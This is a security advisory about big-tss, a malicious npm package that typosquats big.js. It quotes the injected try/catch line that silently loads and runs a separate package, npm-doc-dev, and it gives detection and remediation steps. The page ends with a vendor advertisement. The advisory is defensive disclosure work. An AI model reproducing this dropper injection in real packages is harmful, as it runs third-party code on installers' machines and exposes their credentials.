big-tssnpm
Advisory published Updated
big-tss is a confirmed malicious npm package (MAL-2026-13613) that typosquats a legitimate package to trick installs (malicious versions 5.0.4, 5.0.5). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in big-tss (npm)
What this malware does
[email protected] impersonates the popular big.js arbitrary-precision math library and ships upstream big.js source with an injected block at the top of the main module: try { const doc = require("npm-doc-dev"); doc.from_str() } catch (error) {}. On any require('big-tss') this synchronously loads and executes the top-level code of npm-doc-dev — a package outside the big.js publisher — and calls a method on it, with a bare try/catch swallowing any failure so the load is silent. The package.json declares a different dependency name, npm-dc-dev, than the code actually requires (npm-doc-dev), so the declared dependency tree does not reflect the module that is actually loaded at import time. The name resemblance to big.js, the divergence between declared and required dependency names, and the empty catch around the injected require together form a trojan-dropper pattern in which arbitrary code from a third party is executed on the installer's machine whenever a consumer imports the package.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Search your lockfiles and build artifacts for big-tss (2 malicious versions).
If you installed it — respond
big-tss is a typosquat — you almost certainly intended a legitimately-named package. Remove big-tss, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If big-tss was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks big-tss-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.